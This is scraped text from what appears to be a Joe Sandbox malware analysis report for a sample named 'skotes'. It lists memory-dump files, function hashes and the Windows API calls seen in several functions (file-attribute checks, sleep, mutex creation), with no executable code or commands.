Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 72979588282fff71959274cda81cfb3ac2042da3da58c3363ca5ac16046aa2ad
Instruction ID: 53302a8ce5df277b55e5203bb02c210f02606e8aaf7840debbfd470bddf39221
Opcode Fuzzy Hash: 72979588282fff71959274cda81cfb3ac2042da3da58c3363ca5ac16046aa2ad
Instruction Fuzzy Hash: E83168317143049FEB18DB7CDC887ADB776ABD2314F208268E424976D5D77699808B92

Function 0090A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A41B
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c4ddcf0ed183f9084b994269eebeec0b1835ac24001f010f689542b1f8a82d7f
Instruction ID: b49b1e5fd2e0b65ad68b385e7fb33262e53b0539a5fddfade1c37bc7e5f04cdd
Opcode Fuzzy Hash: c4ddcf0ed183f9084b994269eebeec0b1835ac24001f010f689542b1f8a82d7f
Instruction Fuzzy Hash: 6C314A31B103049FEB08EBB8DDC9BADB766EFD1314F248258E424972D5D7B559808BD2

Function 0090A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A550
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1d4298c36a738d26634564ce3eed588a26d66c9e70b10d50a272174a97849e30
Instruction ID: 15d5648ff75c2427f019f0e965b049504da4b5d58b86155c3f5fd112053a2f80
Opcode Fuzzy Hash: 1d4298c36a738d26634564ce3eed588a26d66c9e70b10d50a272174a97849e30
Instruction Fuzzy Hash: FB315B317043059FEB08EB78DC89BADB776EFC5318F248658E424972D1DB7599808B92

Function 0090A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A685
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: eb83bd117c34830aed80c2af7fbbf29c34384f7a84422b7e3a19a9a00df42221
Instruction ID: e6c1ca791e37da84ea4ea4c1a842123019202387c8b5c95c9c1e7751d04495af
Opcode Fuzzy Hash: eb83bd117c34830aed80c2af7fbbf29c34384f7a84422b7e3a19a9a00df42221
Instruction Fuzzy Hash: B3314831B043049FEB08EB78DD89BADB7B6DFC1314F248658E424972D1D77599808BD2

Function 0090A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0090A7BA
Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: aa2b02708d5c7bb9cdbfeb8bc63857c56acd7e2592e4360e65d1f9e1250ce91c
Instruction ID: c475cbf5886aa5bfe004dc975af08ed8b6037217aee19165875e72b0ccafbde6
Opcode Fuzzy Hash: aa2b02708d5c7bb9cdbfeb8bc63857c56acd7e2592e4360e65d1f9e1250ce91c
Instruction Fuzzy Hash: 45314831B04304DFEB08DB78CD89BADB776AFC1314F24C258E424972D1D77599818B92

Function 00936E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641a0141e79370aad656c6f8c326665e51093503167b7e2d122c29fb96f926ef
Instruction ID: 4592e3e28cda9b987332f56b3de26241fbcb637d21972aa9aa6b9f7ea3ba7821
Opcode Fuzzy Hash: 641a0141e79370aad656c6f8c326665e51093503167b7e2d122c29fb96f926ef
Instruction Fuzzy Hash: 5F21F8729052087BEB217BA8DC42BAF776DDF81378F114311F9642B1C1D770AE059E61

Function 0090A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0090A963
CreateMutexA.KERNEL32(00000000,00000000,00963254), ref: 0090A981

Memory Dump Source

